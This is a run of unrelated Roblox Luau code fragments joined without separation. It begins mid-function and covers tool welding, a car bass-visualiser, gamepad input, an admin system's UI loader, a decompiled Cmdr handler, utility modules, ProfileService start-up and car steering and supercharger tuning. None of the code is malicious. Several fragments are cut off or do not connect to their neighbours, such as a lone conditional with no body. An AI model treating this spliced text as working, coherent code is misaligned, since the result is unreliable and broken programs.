weldmode == 2 then local w = Instance.new("Weld") w.Part0 = lleg w.Parent = w.Part0 w.Part1 = handle w.C1 = CFrame.new(distance, 0.15 +y, -0.25 +x *-1) * CFrame.fromEulerAnglesXYZ(math.pi, 0, 0) elseif weldmode == 3 then local w = Instance.new("Weld") w.Part0 = torso w.Parent = w.Part0 w.Part1 = handle w.C1 = CFrame.new(distance *-1, 0 +y, 0.25 +x) * CFrame.fromEulerAnglesXYZ(math.pi , math.pi / 2, 0) elseif weldmode == 4 then local w = Instance.new("Weld") w.Part0 = torso w.Parent = w.Part0 w.Part1 = handle w.C1 = CFrame.new(distance, 0 +y, 0.25 +x) * CFrame.fromEulerAnglesXYZ(math.pi , math.pi / 2 *-1, 0) end end end end end end end if model ~= nil then n = 1 local all = model:GetChildren() for i = 1, #all do if all[i].className == "Part" then all[i].Transparency = 1 end end end end function off(mouse) if model ~= nil then n = 1 local all = model:GetChildren() for i = 1, #all do if all[i].className == "Part" then all[i].Transparency = parts[n] local Do = true if Do then Do = false n = n +1 end end end end end script.Parent.Equipped:connect(on) script.Parent.Unequipped:connect(off)
--How to do: --Put BassParts in body --And this script in DriverSeat --Please make sure to have the songMod installed!
if script.Parent:IsA("VehicleSeat") then script.Parent.ChildAdded:connect(function(child) if child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then local p= game.Players:GetPlayerFromCharacter(child.Part1.Parent) local g= script.SendBass:Clone() g.Parent=p.PlayerGui g.src.Value = script.BassEvent g.Disabled = false end end) script.Parent.ChildRemoved:Connect(function(child) if child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then end end) end script.BassEvent.OnServerEvent:Connect(function(plr, bass) local car = script.Parent.Parent local bassParts = car.Body.BassParts for i,v in pairs(bassParts:GetChildren()) do if v:IsA("MeshPart") then local vectorSize = v:FindFirstChild("VectorSize") if bass <= v.MaxBassSize.Value then v.Size = Vector3.new(vectorSize.Value.X,bass/v.BassSize.Value,vectorSize.Value.Z) else v.Size = Vector3.new(vectorSize.Value.X,v.MaxBassSize.Value/v.BassSize.Value,vectorSize.Value.Z) end end end end)
--[=[ @return boolean Returns `true` if the gamepad is currently connected. ]=]
function Gamepad:IsConnected(): boolean return if self._gamepad then UserInputService:GetGamepadConnected(self._gamepad) else false end
--// Processing
return function() local _G, game, script, getfenv, setfenv, workspace, getmetatable, setmetatable, loadstring, coroutine, rawequal, typeof, print, math, warn, error, pcall, pcall, xpcall, select, rawset, rawget, ipairs, pairs, next, Rect, Axes, os, tick, Faces, unpack, string, Color3, newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, NumberSequenceKeypoint, PhysicalProperties, Region3int16, Vector3int16, elapsedTime, require, table, type, wait, Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay = _G, game, script, getfenv, setfenv, workspace, getmetatable, setmetatable, loadstring, coroutine, rawequal, typeof, print, math, warn, error, pcall, pcall, xpcall, select, rawset, rawget, ipairs, pairs, next, Rect, Axes, os, tick, Faces, unpack, string, Color3, newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, NumberSequenceKeypoint, PhysicalProperties, Region3int16, Vector3int16, elapsedTime, require, table, type, wait, Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay local script = script local service = service local client = client local Anti, Core, Functions, Process, Remote, UI, Variables, Deps local function Init() UI = client.UI; Anti = client.Anti; Core = client.Core; Variables = client.Variables Functions = client.Functions; Process = client.Process; Remote = client.Remote; Deps = client.Deps; end getfenv().client = nil getfenv().service = nil getfenv().script = nil client.UI = { Init = Init; GetHolder = function() if UI.Holder and UI.Holder.Parent == service.PlayerGui then return UI.Holder else pcall(function()if UI.Holder then UI.Holder:Destroy()end end) local new=Instance.new'ScreenGui' new.Name = Functions.GetRandom() new.Parent=service.PlayerGui UI.Holder = new return UI.Holder end end; Prepare = function(gui) if true then return gui end --// Disabled local gTable = UI.Get(gui,false,true) if gui:IsA("ScreenGui") or gui:IsA("GuiMain") then local new = Instance.new("TextLabel") new.BackgroundTransparency = 1 new.Size = UDim2.new(1,0,1,0) new.Name = gui.Name new.Active = true new.Text = "" for ind,child in next,gui:GetChildren()do child.Parent = new end if gTable then gTable:Register(new) end gui:Destroy() return new else return gui end end; LoadModule = function(module, data, env) local ran,func = pcall(require, module) local newEnv = GetEnv(env) local data = data or{} newEnv.script = module newEnv.client = service.CloneTable(client) newEnv.service = service.CloneTable(service) newEnv.service.Threads = service.CloneTable(service.Threads) for i,v in next,newEnv.client do if type(v) == "table" and i ~= "Variables" and i ~= "Handlers" then newEnv.client[i] = service.CloneTable(v) end end if ran then local rets = {service.TrackTask("UI: ".. module:GetFullName(), setfenv(func,newEnv), data)} local ran = rets[1] if ran then return unpack(rets,2) else warn("Error while running module "..module.Name,tostring(rets[2])) client.LogError("Error loading "..tostring(module).." - "..tostring(rets[2])) end else warn("Error while loading module "..module.Name,tostring(func)) end end; GetNew = function(theme, name) local found = {} local endConfig = {} local endConfValues = {} local confFolder = Instance.new("Folder") local func function func(theme, name, depth) local depth = (depth or 11) - 1 local folder = Deps.UI:FindFirstChild(theme) or Deps.UI.Default if folder then local baseValue = folder:FindFirstChild("Base_Theme") local baseTheme = baseValue and baseValue.Value local foundGUI = (baseValue and folder:FindFirstChild(name)) or Deps.UI.Default:FindFirstChild(name) if foundGUI then local config = foundGUI:FindFirstChild("Config") table.insert(found, { Theme = theme; Folder = folder; Name = name; Found = foundGUI; Config = config; isModule = foundGUI:IsA("ModuleScript"); }) if config then baseValue = config:FindFirstChild("BaseTheme") or baseValue baseTheme = baseValue and baseValue.Value end end if baseTheme and depth > 0 then func(baseTheme, name, depth) end end end --// Find GUI and all default versions under it func(theme, name) confFolder.Name = "Config" if #found > 0 then --// Combine all configs found in order to build full config (in order of closest from target gui to furthest) for i,v in next,found do if v.Config then for k,m in next,v.Config:GetChildren() do if not endConfig[m.Name] then endConfig[m.Name] = m end end end end --// Load all config values into the new Config folder for i,v in next,endConfig do v:Clone().Parent = confFolder end --// Find next module based theme GUI if code not found or first in sequence is module (in theme) if found[1].isModule then return found[1].Found, found[1].Folder, confFolder elseif not endConfig.Code then for i,v in next,found do if v.isModule then return v.Found, v.Folder, confFolder end end end --// Get rid of an old Config folder and throw the new combination Config folder in local new = found[1].Found:Clone() local oldFolder = new:FindFirstChild'Config' if oldFolder then oldFolder:Destroy() end confFolder.Parent = new return new, found[1].Folder, confFolder end end; Make = function(name, data, themeData) local data = data or {} local defaults = {Desktop = "Default"; Mobile = "Mobilius"} local themeData = themeData or Core.Theme or defaults local theme = Variables.CustomTheme or (service.IsMobile() and themeData.Mobile) or themeData.Desktop local folder = Deps.UI:FindFirstChild(theme) or Deps.UI.Default local newGui, folder2, foundConf = UI.GetNew(theme, name) if newGui then local isModule = newGui:IsA("ModuleScript") local conf = newGui:FindFirstChild("Config") if isModule then return UI.LoadModule(newGui, data, { script = newGui; }) elseif conf and foundConf and foundConf ~= true then local code = foundConf.Code local mult = foundConf.AllowMultiple local keep = foundConf.CanKeepAlive local allowMult = mult and mult.Value or true local found, num = UI.Get(name) if not found or ((num and num>0) and allowMult) then local gTable,gIndex = UI.Register(newGui) local newEnv = {} if folder:IsA("ModuleScript") then newEnv.script = folder newEnv.gTable = gTable local ran,func = pcall(require, folder) local newEnv = GetEnv(newEnv) local rets = {pcall(setfenv(func,newEnv),newGui, gTable, data)} local ran = rets[1] local ret = rets[2] if ret ~= nil then if type(ret) == "userdata" and Anti.GetClassName(ret) == "ScreenGui" then code = (ret:FindFirstChild("Config") and ret.Config:FindFirstChild("Code")) or code else return ret end end end newGui.Parent = Variables.GUIHolder newGui.Name = Functions.GetRandom() data.gIndex = gIndex data.gTable = gTable code.Parent = conf code.Name = name return UI.LoadModule(code, data, { script = code; gTable = gTable; Data = data; GUI = newGui; }) end end else print("GUI "..tostring(name).." not found") end end; Get = function(obj,ignore,returnOne) local found = {} local num = 0 if obj then for ind,g in next,client.GUIs do if g.Name ~= ignore and g.Object ~= ignore and g ~= ignore then if type(obj) == "string" then if g.Name == obj then found[ind] = g num = num+1 if returnOne then return g end end elseif type(obj) == "userdata" then if service.RawEqual(g.Object, obj) then found[ind] = g num = num+1 if returnOne then return g end end elseif type(obj) == "boolean" and obj == true then found[ind] = g num = num+1 if returnOne then return g end end end end end if num<1 then return false else return found,num end end; Remove = function(name, ignore) local gui = UI.Get(name, ignore) if gui then for i,v in next,gui do v.Destroy() end end end; Register = function(gui, data) local gIndex = Functions.GetRandom() local gTable;gTable = { Object = gui, Config = gui:FindFirstChild'Config'; Name = gui.Name, Events = {}, Class = gui.ClassName, Index = gIndex, Active = true, Ready = function() if gTable.Config then gTable.Config.Parent = nil end if pcall(function() if gTable.Class == "ScreenGui" or gTable.Class == "GuiMain" then gTable.Object.Parent = service.PlayerGui else gTable.Object.Parent = UI.GetHolder() end end) then gTable.Active = true else warn("Something happened while trying to set the parent of "..tostring(gTable.Name)) warn'Maybe it was locked (Destroyed)?' gTable:Destroy() end end, BindEvent = function(event, func) local signal = event:connect(func) local origDisc = signal.Disconnect local Events = gTable.Events local disc = function() origDisc(signal) for i,v in next, Events do if v.Signal == signal then table.remove(Events, i) end end end table.insert(Events, { Signal = signal; Remove = disc }) return { Disconnect = disc; disconnect = disc; wait = service.CheckProperty(signal, "wait") and signal.wait }, signal end, ClearEvents = function() for i,v in next,gTable.Events do v:Remove() end end, Destroy = function() pcall(function() if gTable.CustomDestroy then gTable.CustomDestroy() else service.UnWrap(gTable.Object):Destroy() end end) gTable.Destroyed = true gTable.Active = false client.GUIs[gIndex] = nil gTable.ClearEvents() end, UnRegister = function() client.GUIs[gIndex] = nil if gTable.AncestryEvent then gTable.AncestryEvent:Disconnect() end end, Register = function(tab,new) if not new then new=tab end new:SetSpecial("Destroy", gTable.Destroy) gTable.Object = service.Wrap(new) gTable.Class = new.ClassName if gTable.AncestryEvent then gTable.AncestryEvent:Disconnect() end gTable.AncestryEvent = new.AncestryChanged:Connect(function(c, parent) if client.GUIs[gIndex] then if rawequal(c, gTable.Object) and gTable.Class == "TextLabel" and parent == service.PlayerGui then wait() gTable.Object.Parent = UI.GetHolder() elseif rawequal(c, gTable.Object) and parent == nil and not gTable.KeepAlive then gTable:Destroy() elseif rawequal(c, gTable.Object) and parent ~= nil then gTable.Active = true client.GUIs[gIndex] = gTable end end end) client.GUIs[gIndex] = gTable end } if data then for i,v in next,data do gTable[i] = v end end gui.Name = Functions.GetRandom() gTable:Register(gui) return gTable,gIndex end } client.UI.RegisterGui = client.UI.Register client.UI.GetGui = client.UI.Get client.UI.PrepareGui = client.UI.Prepare client.UI.MakeGui = client.UI.Make end
--Main
warn("Server: Starting Internal Loader") ModuleLoader.FindModules({ Main, Local, Shared, SharedLocal }, Modules) ModuleLoader.LoadModules(ModuleCollection, Modules, StartQueue) ModuleLoader.StartModules(StartQueue, ModuleCollection)
-- Decompiled with the Synapse X Luau decompiler.
local l__StarterGui__1 = game:GetService("StarterGui"); local u2 = require(script.Parent.CmdrInterface.Window); return function(p1) p1:HandleEvent("Message", function(p2) l__StarterGui__1:SetCore("ChatMakeSystemMessage", { Text = ("[Announcement] %s"):format(p2), Color = Color3.fromRGB(249, 217, 56) }); end); p1:HandleEvent("AddLine", function(...) u2:AddLine(...); end); end;
--[=[ Makes a copy of the set, making the values as true. @param set table @return table ]=]
function Set.copy(set) local newSet = {} for key, _ in pairs(set) do newSet[key] = true end return newSet end
--[[ Kinda cringe, but intersection types don't seem to work when exporting, hence the repetition. ]]
export type Grid = { Ref: UIGridLayout, Paused: boolean, Destroyed: boolean, DoUpdatePadding: boolean, DoUpdateSize: boolean, DoUpdateCanvas: boolean, UpdateSize: (Grid) -> nil, UpdatePadding: (Grid) -> nil, UpdateCanvas: (Grid) -> nil, Update: (Grid) -> nil, Play: (Grid) -> nil, Pause: (Grid) -> nil, Destroy: (Grid) -> nil } export type List = { Ref: UIListLayout, Paused: boolean, Destroyed: boolean, DoUpdatePadding: boolean, DoUpdateSize: boolean, DoUpdateCanvas: boolean, UpdateSize: (List) -> nil, UpdatePadding: (List) -> nil, UpdateCanvas: (List) -> nil, Update: (List) -> nil, Play: (List) -> nil, Pause: (List) -> nil, Destroy: (List) -> nil } return 0
--[[ Creates a new list that has no occurrences of the given value. ]]
local function removeValue(list, value) local new = {} local index = 1 for i = 1, #list do if list[i] ~= value then new[index] = list[i] index = index + 1 end end return new end return removeValue
-- framePosition is top left corner -- returns position, relativePosition, normal
function UICornerUtils.clampPositionToFrame(framePosition, frameSize, radius, point) assert(radius > 0, "Bad radius") assert(point, "Bad point") local px, py = point.x, point.y local fpx, fpy = framePosition.x, framePosition.y local fsx, fsy = frameSize.x, frameSize.y local minx = fpx + radius local maxx = fpx + fsx - radius local miny = fpy + radius local maxy = fpy + fsy - radius -- relative position to inner box local rpx, rpy if minx < maxx then rpx = math.clamp(px, minx, maxx) else rpx = minx end if miny < maxy then rpy = math.clamp(py, miny, maxy) else rpy = miny end local position = Vector2.new(rpx, rpy) -- project in direction of offset local direction = point - position if direction.magnitude == 0 then -- Shouldn't happen! return nil, nil end local normal = direction.unit local outsidePosition = position + normal*radius return outsidePosition, normal end return UICornerUtils
-- EnumList -- Stephen Leitnick -- January 08, 2021
type EnumNames = { string }
--///////////////////////// Constructors --//////////////////////////////////////
function module.new() local obj = setmetatable({}, methods) obj.CompletedMessageProcessors = {} obj.InProgressMessageProcessors = {} obj:SetupCommandProcessors() return obj end return module
--------------------
if game.Workspace.DoorFlashing.Value == true then
-- waitChildren/EventFolder does not contain all the remote events, because the server version could be older than the client version. -- In that case it would not create the new events. -- These events are accessed directly from DefaultChatSystemChatEvents
local useEvents = {} local FoundAllEventsEvent = Instance.new("BindableEvent") function TryRemoveChildWithVerifyingIsCorrectType(child) if (waitChildren[child.Name] and child:IsA(waitChildren[child.Name])) then waitChildren[child.Name] = nil useEvents[child.Name] = child numChildrenRemaining = numChildrenRemaining - 1 end end for i, child in pairs(EventFolder:GetChildren()) do TryRemoveChildWithVerifyingIsCorrectType(child) end if (numChildrenRemaining > 0) then local con = EventFolder.ChildAdded:connect(function(child) TryRemoveChildWithVerifyingIsCorrectType(child) if (numChildrenRemaining < 1) then FoundAllEventsEvent:Fire() end end) FoundAllEventsEvent.Event:Wait() con:disconnect() FoundAllEventsEvent:Destroy() end EventFolder = useEvents
-- Time from the first tap for it to be considered a double tap
local DOUBLE_TAP_THRESHOLD = 0.3
--[=[ @tag Component Class @function HeartbeatUpdate @param dt number @within Component If this method is present on a component, then it will be automatically connected to `RunService.Heartbeat`. :::note Method This is a method, not a function. This is a limitation of the documentation tool which should be fixed soon. ::: ```lua local MyComponent = Component.new({Tag = "MyComponent"}) function MyComponent:HeartbeatUpdate(dt) end ``` ]=] --[=[ @tag Component Class @function SteppedUpdate @param dt number @within Component If this method is present on a component, then it will be automatically connected to `RunService.Stepped`. :::note Method This is a method, not a function. This is a limitation of the documentation tool which should be fixed soon. ::: ```lua local MyComponent = Component.new({Tag = "MyComponent"}) function MyComponent:SteppedUpdate(dt) end ``` ]=] --[=[ @tag Component Class @function RenderSteppedUpdate @param dt number @within Component @client If this method is present on a component, then it will be automatically connected to `RunService.RenderStepped`. If the `[Component].RenderPriority` field is found, then the component will instead use `RunService:BindToRenderStep()` to bind the function. :::note Method This is a method, not a function. This is a limitation of the documentation tool which should be fixed soon. ::: ```lua -- Example that uses `RunService.RenderStepped` automatically: local MyComponent = Component.new({Tag = "MyComponent"}) function MyComponent:RenderSteppedUpdate(dt) end ``` ```lua -- Example that uses `RunService:BindToRenderStep` automatically: local MyComponent = Component.new({Tag = "MyComponent"}) -- Defining a RenderPriority will force the component to use BindToRenderStep instead MyComponent.RenderPriority = Enum.RenderPriority.Camera.Value function MyComponent:RenderSteppedUpdate(dt) end ``` ]=]
function Component:Destroy() self[KEY_TROVE]:Destroy() end return Component
-- This was reverse engineered from usage, no specific flowtype or TS artifact
export type React_ElementProps<ElementType> = { ref: React_Ref<ElementType>?, key: React_Key?, __source: Source?, children: any?, }
----- Initialize -----
if IsStudio == true then IsLiveCheckActive = true task.spawn(function() local status, message = pcall(function() -- This will error if current instance has no Studio API access: DataStoreService:GetDataStore("____PS"):SetAsync("____PS", os.time()) end) local no_internet_access = status == false and string.find(message, "ConnectFail", 1, true) ~= nil if no_internet_access == true then warn("[ProfileService]: No internet access - check your network connection") end if status == false and (string.find(message, "403", 1, true) ~= nil or -- Cannot write to DataStore from studio if API access is not enabled string.find(message, "must publish", 1, true) ~= nil or -- Game must be published to access live keys no_internet_access == true) then -- No internet access UseMockDataStore = true ProfileService._use_mock_data_store = true print("[ProfileService]: Roblox API services unavailable - data will not be saved") else print("[ProfileService]: Roblox API services available - data will be saved") end IsLiveCheckActive = false end) end
--- Tooltip
return function(element, tooltipText) --- Cancel if this is on mobile if _L.Variables.Mobile then return false end --- Variables local events = {} local tooltip local cancel --- Create tooltip folder (if it doesn't already exist) local tooltipFolder = PlayerGui:FindFirstChild("TooltipsFolder") if tooltipFolder == nil then tooltipFolder = Instance.new("ScreenGui") tooltipFolder.Name = "TooltipsFolder" tooltipFolder.DisplayOrder = 999 tooltipFolder.Parent = PlayerGui end --- (Function) remove tooltip local function remove() if tooltip then tooltip:Destroy() tooltip = nil end end --- (Function) create tooltip local function create() --- Remove any existing tooltips tooltipFolder:ClearAllChildren() --- Create tooltip tooltip = Instance.new("TextLabel") tooltip.BorderSizePixel = 0 tooltip.BackgroundColor3 = Color3.new(0.35, 0.35, 0.35) tooltip.TextColor3 = Color3.new(1, 1, 1) tooltip.FontSize = Enum.FontSize.Size18 tooltip.Font = Enum.Font.Highway tooltip.Text = tooltipText --- Calculate size local textSize = _L.Services.TextService:GetTextSize(tooltip.Text, tooltip.TextSize, tooltip.Font, Vector2.new(175, 1000)) tooltip.Size = UDim2.new(0, textSize.X + 4, 0, textSize.Y + 2) -- tooltip.Parent = tooltipFolder --- Main while not cancel and tooltip and tooltip.Parent and element do --- Get positions local mouseX, mouseY = _L.Player.Get("Mouse").X, _L.Player.Get("Mouse").Y local guiSizeX, guiSizeY = element.AbsoluteSize.X, element.AbsoluteSize.Y local guiPosX, guiPosY = element.AbsolutePosition.X, element.AbsolutePosition.Y --- Is mouse still over? Should tooltip stay active? if (mouseX > guiPosX - 10) and (mouseX < guiPosX + guiSizeX + 10) and (mouseY > guiPosY - 10) and (mouseY < guiPosY + guiSizeY + 10) then --- Mouse local mouse = _L.Player.Get("Mouse") --- Change tooltip position (to follow mouse) tooltip.Position = UDim2.new(0, (mouse.X + 17), 0, mouse.Y) else --- Mouse is no longer over. CANCEL! cancel = true end --- Wait _L.Services.RunService.RenderStepped:wait() end --- Dispose remove() end --- Mouse events events[#events + 1] = element.MouseEnter:Connect(function() --- Mouse entered, create tooltip remove() create() end) -- events[#events + 1] = element.MouseLeave:Connect(function() --- Mouse exited, remove tooltip remove() end) --- Return function to cancel this behavior return function() --- Clear events for _, event in ipairs(events) do event:disconnect() end events = nil --- Cancel cancel = true end end
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local autoscaling = false --Estimates top speed local UNITS = { --Click on speed to change units --First unit is default { units = "MPH" , scaling = (10/12) * (60/88) , -- 1 stud : 10 inches | ft/s to MPH maxSpeed = 160 , spInc = 20 , -- Increment between labelled notches }, { units = "KM/H" , scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H maxSpeed = 260 , spInc = 20 , -- Increment between labelled notches }, { units = "SPS" , scaling = 1 , -- Roblox standard maxSpeed = 280 , spInc = 30 , -- Increment between labelled notches } }
--[[Steering]]
Tune.SteeringType = 'New' -- New = Precise steering calculations based on real life steering assembly (LuaInt) -- Old = Previous steering calculations -- New Options Tune.SteerRatio = 15/1 -- Steering ratio of your steering rack, google it for your car Tune.LockToLock = 2.6 -- Number of turns of the steering wheel lock to lock, google it for your car Tune.Ackerman = .9 -- If you don't know what it is don't touch it, ranges from .7 to 1.2 -- Old Options Tune.SteerInner = 45 -- Inner wheel steering angle (in degrees) Tune.SteerOuter = 38 -- Outer wheel steering angle (in degrees) --Four Wheel Steering (LuaInt) Tune.FWSteer = 'Both' -- Static, Speed, Both, or None Tune.RSteerOuter = 0 -- Outer rear wheel steering angle (in degrees) Tune.RSteerInner = 0 -- Inner rear wheel steering angle (in degrees) Tune.RSteerSpeed = 60 -- Speed at which 4WS fully activates (Speed), deactivates (Static), or transition begins (Both) (SPS) Tune.RSteerDecay = 330 -- Speed of gradient cutoff (in SPS) -- Rear Steer Gyro Tuning Tune.RSteerD = 1000 -- Steering Dampening Tune.RSteerMaxTorque = 50000 -- Steering Force Tune.RSteerP = 100000 -- Steering Aggressiveness -- General Steering Tune.SteerSpeed = .07 -- Steering increment per tick (in degrees) Tune.ReturnSpeed = .1 -- Steering increment per tick (in degrees) Tune.SteerDecay = 330 -- Speed of gradient cutoff (in SPS) Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent) Tune.MSteerExp = 1 -- Mouse steering exponential degree -- Steer Gyro Tuning Tune.SteerD = 1000 -- Steering Dampening Tune.SteerMaxTorque = 50000 -- Steering Force Tune.SteerP = 100000 -- Steering Aggressiveness
-- Core part:
while true do wait() wait() if curPlayer~=nil then if seat.Throttle == 1 then onForward(curPlayer) end if seat.Throttle == -1 then onBackward(curPlayer) end if seat.Steer == 1 then onTurnRight(curPlayer) end if seat.Steer == -1 then onTurnLeft(curPlayer) end end if djoin==true then onSitUp(curPlayer) end end
-- humanoid.CameraOffset = humanoid.CameraOffset:lerp(bobble, .25)
--Supercharger
local Whine_Pitch = 1.8 --max pitch of the whine (not exact so might have to mess with it) local S_Loudness = 1.3 --volume of the supercharger(s) (not exact volume so you kinda have to experiment with it also) script:WaitForChild("Whistle") script:WaitForChild("Whine") script:WaitForChild("BOV") for i,v in pairs(car.DriveSeat:GetChildren()) do for _,a in pairs(script:GetChildren()) do if v.Name==a.Name then v:Stop() wait() v:Destroy() end end end car.DriveSeat.ChildRemoved:connect(function(child) if child.Name=="SeatWeld" then for i,v in pairs(car.DriveSeat:GetChildren()) do for _,a in pairs(script:GetChildren()) do if v.Name==a.Name then v:Stop() wait() v:Destroy() end end end end end) if not _Tune.Engine then return end handler:FireServer("newSound","Whistle",car.DriveSeat,script.Whistle.SoundId,0,script.Whistle.Volume,true) handler:FireServer("newSound","Whine",car.DriveSeat,script.Whine.SoundId,0,script.Whine.Volume,true) handler:FireServer("newSound","BOV",car.DriveSeat,script.BOV.SoundId,0,script.BOV.Volume,true) handler:FireServer("playSound","Whistle") handler:FireServer("playSound","Whine") car.DriveSeat:WaitForChild("Whistle") car.DriveSeat:WaitForChild("Whine") car.DriveSeat:WaitForChild("BOV") local ticc = tick() local _TCount = _Tune.Turbochargers local _SCount = _Tune.Superchargers while wait() do local psi = (((script.Parent.Values.Boost.Value)/((_Tune.T_Boost*_TCount)+(_Tune.S_Boost*_SCount)))*2) local tpsi = (((script.Parent.Values.BoostTurbo.Value)/(_Tune.T_Boost*_TCount))*2) local spsi = ((script.Parent.Values.BoostSuper.Value)/(_Tune.S_Boost*_SCount)) --(script.Parent.Values.RPM.Value/_Tune.Redline) local WP,WV,BP,BV,HP,HV = 0,0,0,0,0,0 BOVact = math.floor(tpsi*20) if _TCount~=0 then WP = (tpsi) WV = (tpsi/4)*T_Loudness BP = (1-(-tpsi/20))*BOV_Pitch BV = (((-0.5+((tpsi/2)*BOV_Loudness)))*(1 - script.Parent.Values.Throttle.Value)) if BOVact < BOVact2 then if car.DriveSeat.BOV.IsPaused then if FE then handler:FireServer("playSound","BOV") else car.DriveSeat.BOV:Play() end end end if BOVact >= BOVact2 then if FE then handler:FireServer("stopSound","BOV") else car.DriveSeat.BOV:Stop() end end else WP,WV,BP,BV=0,0,0,0 end if _SCount~=0 then HP = (script.Parent.Values.RPM.Value/_Tune.Redline)*Whine_Pitch HV = (spsi/4)*S_Loudness else HP,HV = 0,0 end handler:FireServer("updateSound","Whistle",script.Whistle.SoundId,WP,WV) handler:FireServer("updateSound","Whine",script.Whine.SoundId,HP,HV) handler:FireServer("updateSound","BOV",script.BOV.SoundId,BP,BV) if (tick()-ticc) >= 0.1 then BOVact2 = math.floor(tpsi*20) ticc = tick() end end
--[[** Gets whatever object is stored with the given index, if it exists. This was added since Maid allows getting the job using `__index`. @param [t:any] Index The index that the object is stored under. @returns [t:any?] This will return the object if it is found, but it won't return anything if it doesn't exist. **--]]
function Janitor.__index:Get(Index) local This = self[IndicesReference] if This then return This[Index] end end